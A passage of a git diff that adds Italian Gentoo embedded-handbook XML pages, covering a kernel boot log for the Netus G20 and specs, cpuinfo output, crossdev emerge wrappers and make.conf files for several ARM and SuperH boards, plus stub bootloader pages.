+CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=00053177
+CPU: VIVT data cache, VIVT instruction cache
+Machine: Atmel AT91SAM9G20-EK
+Memory policy: ECC disabled, Data cache writeback
+On node 0 totalpages: 16384
+free_area_init_node: node 0, pgdat c04046a0, node_mem_map c0426000
+  Normal zone: 128 pages used for memmap
+  Normal zone: 0 pages reserved
+  Normal zone: 16256 pages, LIFO batch:3
+Clocks: CPU 396 MHz, master 132 MHz, main 18.432 MHz
+Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256
+Kernel command line: mem=64M console=ttyS0,115200 rootdelay=5
+root=/dev/mmcblk0p1 rw rootfstype=reiserfs rootflags=data=writeback
+init=/sbin/init nodevfs
+PID hash table entries: 256 (order: 8, 1024 bytes)
+Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
+Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
+Memory: 64MB = 64MB total
+Memory: 60652KB available (3840K code, 256K data, 108K init, 0K highmem)
+Hierarchical RCU implementation.
+NR_IRQS:192
+AT91: 96 gpio irqs in 3 banks
+Console: colour dummy device 80x30
+console [ttyS0] enabled
+Calibrating delay loop... 197.83 BogoMIPS (lpj=989184)
+Mount-cache hash table entries: 512
+CPU: Testing write buffer coherency: ok
+NET: Registered protocol family 16
+tcb_clksrc: tc0 at 16.012 MHz
+bio: create slab &lt;bio-0&gt; at 0
+SCSI subsystem initialized
+usbcore: registered new interface driver usbfs
+usbcore: registered new interface driver hub
+usbcore: registered new device driver usb
+Bluetooth: Core ver 2.15
+NET: Registered protocol family 31
+Bluetooth: HCI device and connection manager initialized
+Bluetooth: HCI socket layer initialized
+NET: Registered protocol family 2
+Switched to high resolution mode on CPU 0
+IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
+TCP established hash table entries: 2048 (order: 2, 16384 bytes)
+TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
+TCP: Hash tables configured (established 2048 bind 2048)
+TCP reno registered
+NET: Registered protocol family 1
+squashfs: version 4.0 (2009/01/31) Phillip Lougher
+NTFS driver 2.1.29 [Flags: R/W].
+JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
+JFS: nTxBlock = 474, nTxLock = 3795
+msgmni has been set to 118
+io scheduler noop registered
+io scheduler deadline registered (default)
+atmel_usart.0: ttyS0 at MMIO 0xfefff200 (irq = 1) is a ATMEL_SERIAL
+atmel_usart.1: ttyS1 at MMIO 0xfffb0000 (irq = 6) is a ATMEL_SERIAL
+atmel_usart.2: ttyS2 at MMIO 0xfffb4000 (irq = 7) is a ATMEL_SERIAL
+atmel_usart.3: ttyS3 at MMIO 0xfffb8000 (irq = 8) is a ATMEL_SERIAL
+atmel_usart.4: ttyS4 at MMIO 0xfffd0000 (irq = 23) is a ATMEL_SERIAL
+brd: module loaded
+loop: module loaded
+ssc ssc.0: Atmel SSC device at 0xc48d8000 (irq 14)
+PPP generic driver version 2.4.2
+MACB_mii_bus: probed
+eth0: Atmel MACB at 0xfffc4000 irq 21 (3a:1f:34:08:54:54)
+eth0: attached PHY driver [Generic PHY] (mii_bus:phy_addr=ffffffff:00,
+irq=-1)
+ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
+at91_ohci at91_ohci: AT91 OHCI
+at91_ohci at91_ohci: new USB bus registered, assigned bus number 1
+at91_ohci at91_ohci: irq 20, io mem 0x00500000
+usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
+usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
+usb usb1: Product: AT91 OHCI
+usb usb1: Manufacturer: Linux 2.6.31-gentooGentooNETUSembedded ohci_hcd
+usb usb1: SerialNumber: at91
+usb usb1: configuration #1 chosen from 1 choice
+hub 1-0:1.0: USB hub found
+hub 1-0:1.0: 2 ports detected
+Initializing USB Mass Storage driver...
+usbcore: registered new interface driver usb-storage
+USB Mass Storage support registered.
+usbcore: registered new interface driver libusual
+mice: PS/2 mouse device common for all mice
+usbcore: registered new interface driver xpad
+xpad: X-Box pad driver
+at91_rtt: dev (254:0)
+rtc-at91sam9 at91_rtt.0: rtc core: registered at91_rtt as rtc0
+IRQ 1/rtc0: IRQF_DISABLED is not guaranteed on shared IRQs
+i2c /dev entries driver
+at24 0-0050: 65536 byte 24c512 EEPROM (writable)
+i2c-gpio i2c-gpio: using pins 55 (SDA) and 56 (SCL)
+AT91SAM9 Watchdog: sorry, watchdog is disabled
+at91_wdt: probe of at91_wdt failed with error -5
+Bluetooth: HCI UART driver ver 2.2
+Bluetooth: HCI H4 protocol initialized
+Bluetooth: HCI BCSP protocol initialized
+Bluetooth: HCILL protocol initialized
+Bluetooth: Generic Bluetooth USB driver ver 0.5
+usbcore: registered new interface driver btusb
+at91_mci at91_mci: 4 wire bus mode not supported - using 1 wire
+Registered led device: ds5
+Registered led device: ds1
+usbcore: registered new interface driver hiddev
+usbcore: registered new interface driver usbhid
+usbhid: v2.6:USB HID core driver
+TCP cubic registered
+NET: Registered protocol family 10
+IPv6 over IPv4 tunneling driver
+RPC: Registered udp transport module.
+RPC: Registered tcp transport module.
+rtc-at91sam9 at91_rtt.0: readtime: 2009-09-19 14:56:38
+rtc-at91sam9 at91_rtt.0: setting system clock to 2009-10-19 14:56:38 UTC
+(1255964198)
+Waiting 5sec before mounting root device...
+usb 1-2: new full speed USB device using at91_ohci and address 2
+mmc0: host does not support reading read-only switch. assuming write-enable.
+mmc0: new SDHC card at address 8fe4
+mmcblk0: mmc0:8fe4 SU04G 3.69 GiB
+ mmcblk0: p1
+usb 1-2: New USB device found, idVendor=1370, idProduct=0323
+usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
+usb 1-2: Product: pitchBLACK
+usb 1-2: Manufacturer: Swissbit
+usb 1-2: SerialNumber: 000010004269FR0002b5
+usb 1-2: configuration #1 chosen from 1 choice
+scsi0 : SCSI emulation for USB Mass Storage devices
+usb-storage: device found at 2
+usb-storage: waiting for device to settle before scanning
+REISERFS (device mmcblk0p1): found reiserfs format "3.6" with standard
+journal
+REISERFS (device mmcblk0p1): using writeback data mode
+REISERFS (device mmcblk0p1): journal params: device mmcblk0p1, size 8192,
+journal first block 18, max trans len 1024, max batch 900, max commit age
+30, max trans age 30
+REISERFS (device mmcblk0p1): checking transaction log (mmcblk0p1)
+REISERFS (device mmcblk0p1): Using r5 hash to sort names
+VFS: Mounted root (reiserfs filesystem) on device 179:1.
+Freeing init memory: 108K
+eth0: link up (100/Full)
+eth0: no IPv6 routers present
+</pre>
+</body>
+</section>
+
+<section>
+<title>Riferimenti:</title>
+<body>
+<ul>
+<li>
+<uri link="http://netus.acmesystems.it/doku.php">ACME SYSTEMS Netus G20</uri>
+</li>
+</ul>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-netwinder.xml b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-netwinder.xml
new file mode 100644
index 00000000..2cb68e47
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-netwinder.xml
@@ -0,0 +1,151 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-netwinder.xml,v 1.3 2009/10/06 20:05:21 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Network server prodotto da Rebel, basato su un'architettura ARMv4 little-endian.
+</abstract>
+
+<version>0.1</version>
+<date>2009-01-24</date>
+
+<section>
+<title>Rebel NetWinder</title>
+<body>
+<pre caption="Specifiche della Scheda">
+# Processore DEC/Intel StrongARM 110 ~233MHz
+# Chipset DEC/Intel 21285 FootBridge
+# 32/64/128MB RAM
+# Chip grafico Intergraphics Systems CyberPro 2000A con 2MB RAM, VGA output
+# Controller IDE WinBond 553
+# Chip audio RockWell WaveArtist
+# Philips 7111 video capture/WinBond 9660 TV Encoder
+# 1x WinBond 940 10BaseT Ethernet controller
+# 1x Digital 21143(Tulip) 10/100BaseT Ethernet controller
+</pre>
+
+</body>
+</section>
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+
+<pre caption="CPU Info">
+Processor       : StrongARM-110 rev 4 (v4l)
+BogoMIPS        : 185.54
+Features        : swp half 26bit fastmult
+CPU implementer : 0x44
+CPU architecture: 4
+CPU variant     : 0x0
+CPU part        : 0xa10
+CPU revision    : 4
+
+Hardware        : Rebel-NetWinder
+Revision        : 59ff
+Serial          : 0000000000000000
+</pre>
+
+</body>
+</section>
+<section>
+<title>Preparazione alla Cross Compilazione</title>
+<body>
+
+<pre caption="Setup">
+emerge crossdev
+crossdev armv4l-unknown-linux-gnu
+</pre>
+
+<pre caption="Emerge Wrapper (netwinder-merge)">
+#!/bin/sh
+
+CHOST=armv4l-unknown-linux-gnu
+
+#export CBUILD=$(portageq envvar CBUILD)
+export SYSROOT="/usr/${CHOST}"
+export PORTAGE_CONFIGROOT="/usr/${CHOST}"
+
+# optional exports
+export enable_malloc0returnsnull=yes \
+        ac_cv_file__usr_share_sgml_X11_defs_ent=1 \
+        ac_cv_func_setpgrp_void=yes ac_cv_func_setgrent_void=yes \
+        ac_cv_func_calloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes \
+        gl_cv_func_malloc_0_nonnull=yes ac_cv_func_realloc_0_nonnull=yes \
+        ac_cv_func_memcmp_working=yes ac_cv_func_strnlen_working=yes
+
+# optional export for glib:2
+export glib_cv_uscore=no glib_cv_stack_grows=no \
+        glib_cv_stack_grows=no  glib_cv_has__inline=yes \
+        glib_cv_has__inline__=yes glib_cv_hasinline=yes \
+        glib_cv_sane_realloc=yes glib_cv_va_copy=yes \
+        glib_cv___va_copy=yes glib_cv_va_val_copy=no \
+        glib_cv_rtldglobal_broken=no glib_cv_uscore=no \
+        ac_cv_func_posix_getpwuid_r=yes \
+        ac_cv_func_posix_getgrgid_r=yes \
+        ac_cv_header_pwd_h=yes \
+        ac_cv_func_getpwuid_r=yes \
+        glib_cv_sizeof_gmutex=40
+
+FAKEROOT=
+if [[ $(id -u) != 0 ]]; then
+        if [[ $(type -p fakeroot) != "" ]]; then
+                FAKEROOT=fakeroot
+        fi
+fi
+
+${FAKEROOT} emerge -q "$@"
+</pre>
+
+<pre caption="/usr/armv4l-unknown-linux-gnu/etc/make.conf">
+#
+CHOST=armv4l-unknown-linux-gnu
+CBUILD=x86_64-pc-linux-gnu
+ARCH="arm"
+ROOT=/usr/${CHOST}/
+ACCEPT_KEYWORDS="arm ~arm"
+USE="${ARCH} zlib bindist make-symlinks minimal \
+        input_devices_keyboard input_devices_evdev \
+        video_cards_fbdev video_cards_dummy"
+
+VIDEO_CARDS="fbdev dummy"
+
+INPUT_DEVICES="evdev keyboard mouse touchscreen"
+USE_EXPAND="video_cards input_devices"
+MARCH_TUNE="-mcpu=strongarm110"
+CFLAGS="-Os -pipe ${MARCH_TUNE} -fomit-frame-pointer -I${ROOT}/usr/include/
+-I${ROOT}/include/"
+
+CXXFLAGS="${CFLAGS}"
+LDFLAGS="-L${ROOT}/usr/lib -L${ROOT}/lib"
+
+PKG_CONFIG_PATH="${ROOT}/usr/lib/pkgconfig/"
+MAKEOPTS="-j8"
+FEATURES="-collision-protect sandbox buildpkg noman noinfo nodoc"
+
+PORTDIR_OVERLAY="/usr/portage/local/"
+PKGDIR=${ROOT}/packages/
+PORTAGE_TMPDIR=${ROOT}/tmp/
+PORTAGE_WORKDIR_MODE=2775
+PORTAGE_ECLASS_WARNING_ENABLE=0
+
+CLEAN_DELAY=0
+EPAUSE_IGNORE=1
+EBEEP_IGNORE=1
+</pre>
+
+</body>
+</section>
+<section>
+<title>Riferimenti:</title>
+<body>
+
+<ul>
+  <li><uri link="http://www.netwinder.org">NetWinder.org</uri></li>
+</ul>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-nslu2.xml b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-nslu2.xml
new file mode 100644
index 00000000..1f42126a
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-nslu2.xml
@@ -0,0 +1,25 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-nslu2.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+NAS prodotto da Linksys (dotato di interfaccia USB) basato su un'architettura
+arm big-endian.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+
+<p>
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-qnap.xml b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-qnap.xml
new file mode 100644
index 00000000..a3a0423c
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-qnap.xml
@@ -0,0 +1,199 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-qnap.xml,v 1.2 2010/03/22 20:54:20 scen Exp $ -->
+
+<sections>
+
+<abstract>
+NAS ARMv5TE Little-endian da QNAP.
+</abstract>
+
+<version>0.2</version>
+<date>2009-01-04</date>
+
+<section>
+<title>Documentazione Gentoo</title>
+<body>
+
+<p>
+Allo stato attuale, le schede TS109/TS209 e TS409 sono supportate da Gentoo
+grazie a QNAP Inc., che ha fornito l'hardware agli sviluppatori di Gentoo per
+creare e documentare il processo d'installazione.
+</p>
+
+<ul>
+  <li><uri
+    link="http://dev.gentoo.org/~armin76/arm/qnap/ts209/">Documentazione
+    riguardante l'installazione di Gentoo sulla QNAP TurboStation
+    TS109/TS209</uri>
+  </li>
+  <li><uri
+    link="http://dev.gentoo.org/~armin76/arm/qnap/ts409/">Documentazione
+    riguardante l'installazione di Gentoo sulla QNAP TurboStation TS409</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Specifiche QNAP TurboStation TS109/209/409:</title>
+<body>
+<pre caption="Specifiche della Scheda">
+# Marvell Orion SoC MV88F5182 (per il TS109/209) e MV88F5281 (per il TS409)
+# Processore Marvell Feroceon ARMv5TE 500MHz
+# 128/256/512MB DDR2 RAM tra i diversi modelli
+# 8MB NAND Flash
+# Marvell SATA2 controller
+# Marvell Gigabit Ethernet controller
+
+# LED disponibili:
+    * Led alimentazione (solo TS109/209)
+    * Led di Statuo
+    * Led HDD SATA HDD
+    * Led interfaccia di rete
+    * Led USB
+
+# Pulsante Reset
+# 3x Porte USB 2.0
+# 1x Porta eSATA, solo TS109
+# Buzzer
+</pre>
+</body>
+</section>
+
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+<pre caption="CPU Info">
+Processor       : Feroceon rev 0 (v5l)
+BogoMIPS        : 498.07
+Features        : swp half thumb fastmult vfp edsp
+CPU implementer : 0x41
+CPU architecture: 5TEJ
+CPU variant     : 0x0
+CPU part        : 0x926
+CPU revision    : 0
+Cache type      : write-back
+Cache clean     : cp15 c7 ops
+Cache lockdown  : format C
+Cache format    : Harvard
+I size          : 32768
+I assoc         : 1
+I line length   : 32
+I sets          : 1024
+D size          : 32768
+D assoc         : 4
+D line length   : 32
+D sets          : 256
+
+Hardware        : QNAP TS-409
+Revision        : 0000
+Serial          : 0000000000000000
+</pre>
+</body>
+</section>
+
+
+<section>
+<title>Preparazione alla Cross Compilazione</title>
+<body>
+<pre caption="Setup">
+emerge crossdev
+crossdev armv5tel-softfloat-linux-gnueabi
+</pre>
+
+<pre caption="Emerge Wrapper (qnap-merge)">
+#!/bin/sh
+
+CHOST=armv5tel-softfloat-linux-gnueabi
+
+#export CBUILD=$(portageq envvar CBUILD)
+export SYSROOT="/usr/${CHOST}"
+export PORTAGE_CONFIGROOT="/usr/${CHOST}"
+
+# optional exports
+export enable_malloc0returnsnull=yes \
+        ac_cv_file__usr_share_sgml_X11_defs_ent=1 \
+        ac_cv_func_setpgrp_void=yes ac_cv_func_setgrent_void=yes \
+        ac_cv_func_calloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes \
+        gl_cv_func_malloc_0_nonnull=yes ac_cv_func_realloc_0_nonnull=yes \
+        ac_cv_func_memcmp_working=yes ac_cv_func_strnlen_working=yes
+
+# optional export for glib:2
+export glib_cv_uscore=no glib_cv_stack_grows=no \
+        glib_cv_stack_grows=no  glib_cv_has__inline=yes \
+        glib_cv_has__inline__=yes glib_cv_hasinline=yes \
+        glib_cv_sane_realloc=yes glib_cv_va_copy=yes \
+        glib_cv___va_copy=yes glib_cv_va_val_copy=no \
+        glib_cv_rtldglobal_broken=no glib_cv_uscore=no \
+        ac_cv_func_posix_getpwuid_r=yes \
+        ac_cv_func_posix_getgrgid_r=yes \
+        ac_cv_header_pwd_h=yes \
+        ac_cv_func_getpwuid_r=yes \
+        glib_cv_sizeof_gmutex=40
+
+FAKEROOT=
+if [[ $(id -u) != 0 ]]; then
+        if [[ $(type -p fakeroot) != "" ]]; then
+                FAKEROOT=fakeroot
+        fi
+fi
+
+${FAKEROOT} emerge -q "$@"
+
+</pre>
+
+<pre caption="/usr/armv5tel-softfloat-linux-gnueabi/etc/make.conf">
+#
+CHOST=armv5tel-softfloat-linux-gnueabi
+CBUILD=x86_64-pc-linux-gnu
+ARCH="arm"
+ROOT=/usr/${CHOST}/
+ACCEPT_KEYWORDS="arm ~arm"
+USE="${ARCH} zlib bindist make-symlinks minimal \
+        input_devices_keyboard input_devices_evdev \
+        video_cards_fbdev video_cards_dummy"
+
+VIDEO_CARDS="fbdev dummy"
+
+INPUT_DEVICES="evdev keyboard mouse touchscreen"
+USE_EXPAND="video_cards input_devices"
+MARCH_TUNE="-march=armv5t -mtune=arm926ej-s"
+CFLAGS="-Os -pipe ${MARCH_TUNE} -fomit-frame-pointer -I${ROOT}/usr/include/ -I${ROOT}/include/"
+
+CXXFLAGS="${CFLAGS}"
+LDFLAGS="-L${ROOT}/usr/lib -L${ROOT}/lib"
+
+PKG_CONFIG_PATH="${ROOT}/usr/lib/pkgconfig/"
+MAKEOPTS="-j8"
+FEATURES="-collision-protect sandbox buildpkg noman noinfo nodoc"
+
+PORTDIR_OVERLAY="/usr/portage/local/"
+PKGDIR=${ROOT}/packages/
+PORTAGE_TMPDIR=${ROOT}/tmp/
+PORTAGE_WORKDIR_MODE=2775
+PORTAGE_ECLASS_WARNING_ENABLE=0
+
+CLEAN_DELAY=0
+EPAUSE_IGNORE=1
+EBEEP_IGNORE=1
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Ulteriori informazioni:</title>
+<body>
+<ul>
+  <li><uri link="http://www.qnap.com">QNAP Inc.</uri></li>
+  <li>
+    <uri link="http://www.cyrius.com/debian/orion/qnap/">Pagina di Martin
+    Michlmayr riguardante i dispositivi basati su QNAP ARM</uri>
+  </li>
+</ul>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-sheevaplug.xml b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-sheevaplug.xml
new file mode 100644
index 00000000..197b2c1a
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-sheevaplug.xml
@@ -0,0 +1,88 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-sheevaplug.xml,v 1.2 2010/03/22 20:48:23 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Scheda ARMv5TE Little-endian da Marvell.
+</abstract>
+
+<version>0.1</version>
+<date>2009-09-26</date>
+
+<section>
+<title>Documentazione Gentoo</title>
+<body>
+
+<p>
+Attualmente la scheda Marvell Sheevaplug è supportata da Gentoo grazie a <uri
+link="http://www.marvell.com">Marvell</uri> che ci ha messo a disposizione
+l'hardware per creare e documentare il processo d'installazione.
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="http://dev.gentoo.org/~armin76/arm/sheevaplug/install.xml">
+    Documentazione riguardante l'installazione di Gentoo sulla scheda Marvell
+    Sheevaplug</uri>
+  </li>
+  </ul>
+</body>
+
+</section>
+<section>
+<title>Specifiche Marvell Sheevaplug</title>
+
+<body>
+<pre caption="Specifiche della scheda">
+# Marvell Kirkwood SoC 88F6281
+# Marvell Feroceon ARMv5TE 1200MHz processor
+# 512MB DDR2 RAM
+# 512MB NAND Flash
+# Marvell Gigabit Ethernet controller
+# 1x SDHC slot
+# 1x USB 2.0 port
+# 1x mini-USB 2.0 port (for integrated JTAG and serial access)
+# Reset button
+</pre>
+</body>
+
+</section>
+<section>
+<title>/proc/cpuinfo</title>
+
+<body>
+<pre caption="CPU Info">
+Processor       : Feroceon 88FR131 rev 1 (v5l)
+BogoMIPS        : 1192.75
+Features        : swp half thumb fastmult edsp
+CPU implementer : 0x56
+CPU architecture: 5TE
+CPU variant     : 0x2
+CPU part        : 0x131
+CPU revision    : 1
+
+Hardware        : Marvell SheevaPlug Reference Board
+Revision        : 0000
+Serial          : 0000000000000000
+</pre>
+</body>
+
+</section>
+<section>
+<title>Riferimenti:</title>
+<body>
+
+<ul>
+  <li><uri link="http://www.marvell.com">Marvell</uri></li>
+  <li>
+    <uri link="http://www.openplug.org">Marvell's Sheevaplug community</uri>
+  </li>
+</ul>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/boards-sh-lantank.xml b/xml/htdocs/proj/it/base/embedded/handbook/boards-sh-lantank.xml
new file mode 100644
index 00000000..59ca0453
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/boards-sh-lantank.xml
@@ -0,0 +1,155 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/boards-sh-lantank.xml,v 1.2 2009/02/19 22:14:46 scen Exp $ -->
+
+<sections>
+
+<abstract>
+NAS prodotto da I-O Data (dotato di interfaccia IDE interna) basato su
+un'architettura SuperH little-endian.
+</abstract>
+
+<version>0.1</version>
+<date>2009-01-24</date>
+
+<section>
+<title>Specifiche di IO-Data LANTANK:</title>
+<body>
+
+<pre caption="Specifiche della Scheda">
+# Processore SH4 SH7751 ~266MHz
+# 64MB RAM
+# IDE controller Artop Electronic Corp ATP865 
+# Ethernet controller 10/100Mbit Realtek 8139C+ 
+# 2x NEC USB 2.0
+</pre>
+
+</body>
+</section>
+<section>
+
+<title>/proc/cpuinfo</title>
+<body>
+
+<pre caption="CPU Info">
+machine         : LANDISK
+processor       : 0
+cpu family      : sh4
+cpu type        : SH7751R
+cpu flags       : fpu ptea
+cache type      : split (harvard)
+icache size     : 16KiB (2-way)
+dcache size     : 32KiB (2-way)
+bogomips        : 266.24
+master_clk      : 266.66MHz
+module_clk      : 33.33MHz
+bus_clk         : 133.33MHz
+cpu_clk         : 266.66MHz
+tmu0_clk        : 8.33MHz
+</pre>
+
+</body>
+</section>
+<section>
+<title>Preparazione alla Cross Compilazione</title>
+<body>
+
+<pre caption="Setup">
+emerge crossdev
+crossdev sh4-unknown-linux-gnu
+</pre>
+
+<pre caption="Emerge Wrapper (lantank-merge)">
+#!/bin/sh
+
+CHOST=sh4-unknown-linux-gnu
+
+#export CBUILD=$(portageq envvar CBUILD)
+export SYSROOT="/usr/${CHOST}"
+export PORTAGE_CONFIGROOT="/usr/${CHOST}"
+
+# optional exports
+export enable_malloc0returnsnull=yes \
+        ac_cv_file__usr_share_sgml_X11_defs_ent=1 \
+        ac_cv_func_setpgrp_void=yes ac_cv_func_setgrent_void=yes \
+        ac_cv_func_calloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes \
+        gl_cv_func_malloc_0_nonnull=yes ac_cv_func_realloc_0_nonnull=yes \
+        ac_cv_func_memcmp_working=yes ac_cv_func_strnlen_working=yes
+
+# optional export for glib:2
+export glib_cv_uscore=no glib_cv_stack_grows=no \
+        glib_cv_stack_grows=no  glib_cv_has__inline=yes \
+        glib_cv_has__inline__=yes glib_cv_hasinline=yes \
+        glib_cv_sane_realloc=yes glib_cv_va_copy=yes \
+        glib_cv___va_copy=yes glib_cv_va_val_copy=no \
+        glib_cv_rtldglobal_broken=no glib_cv_uscore=no \
+        ac_cv_func_posix_getpwuid_r=yes \
+        ac_cv_func_posix_getgrgid_r=yes \
+        ac_cv_header_pwd_h=yes \
+        ac_cv_func_getpwuid_r=yes \
+        glib_cv_sizeof_gmutex=40 
+
+FAKEROOT=
+if [[ $(id -u) != 0 ]]; then
+        if [[ $(type -p fakeroot) != "" ]]; then
+                FAKEROOT=fakeroot
+        fi
+fi
+
+${FAKEROOT} emerge -q "$@"
+</pre>
+
+<pre caption="/usr/sh4-unknown-linux-gnu/etc/make.conf">
+#
+CHOST=sh4-unknown-linux-gnu
+CBUILD=x86_64-pc-linux-gnu
+ARCH="sh"
+ROOT=/usr/${CHOST}/
+ACCEPT_KEYWORDS="sh ~sh"
+USE="${ARCH} zlib bindist make-symlinks minimal \
+        input_devices_keyboard input_devices_evdev \
+        video_cards_fbdev video_cards_dummy"
+
+VIDEO_CARDS="fbdev dummy"
+
+INPUT_DEVICES="evdev keyboard mouse touchscreen"
+USE_EXPAND="video_cards input_devices"
+MARCH_TUNE="-m4"
+CFLAGS="-Os -pipe ${MARCH_TUNE} -fomit-frame-pointer -I${ROOT}/usr/include/
+-I${ROOT}/include/"
+
+CXXFLAGS="${CFLAGS}"
+LDFLAGS="-L${ROOT}/usr/lib -L${ROOT}/lib"
+
+PKG_CONFIG_PATH="${ROOT}/usr/lib/pkgconfig/"
+MAKEOPTS="-j8"
+FEATURES="-collision-protect sandbox buildpkg noman noinfo nodoc"
+
+PORTDIR_OVERLAY="/usr/portage/local/"
+PKGDIR=${ROOT}/packages/
+PORTAGE_TMPDIR=${ROOT}/tmp/
+PORTAGE_WORKDIR_MODE=2775
+PORTAGE_ECLASS_WARNING_ENABLE=0
+
+CLEAN_DELAY=0
+EPAUSE_IGNORE=1
+EBEEP_IGNORE=1
+</pre>
+
+</body>
+</section>
+<section>
+<title>Riferimenti:</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://dev.gentoo.org/~vapier/superh/lantank/">Pagina di Mike
+    Frysinger' riguardo a LANTANK</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-das-u-boot.xml b/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-das-u-boot.xml
new file mode 100644
index 00000000..734906b8
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-das-u-boot.xml
@@ -0,0 +1,28 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-das-u-boot.xml,v 1.2 2008/05/07 19:05:58 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Il Bootloader Universale che supporta ogni architettura embedded esistente.
+</abstract>
+
+<version>0.2</version>
+<date>2008-05-05</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+
+<p>
+Piuttosto che duplicare le informazioni esistenti, consultare la <uri
+link="http://www.denx.de/wiki/UBoot/Documentation">documentazione</uri>
+ufficiale e il relativo <uri
+link="http://www.denx.de/wiki/view/DULG/UBoot">wiki</uri> principale.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-nettrom.xml b/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-nettrom.xml
new file mode 100644
index 00000000..11b0cf20
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-nettrom.xml
@@ -0,0 +1,24 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-nettrom.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Semplice bootloader per NetWinders.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+
+<p>
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-redboot.xml b/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-redboot.xml
new file mode 100644
index 00000000..874953bc
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-redboot.xml
@@ -0,0 +1,25 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-redboot.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Bootloader di ridotte dimensioni basato su eCos che supporta tutte le
+architetture embedded esistenti.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+
+<p>
+</p>
+
+</body>
+</section>
+</sections>
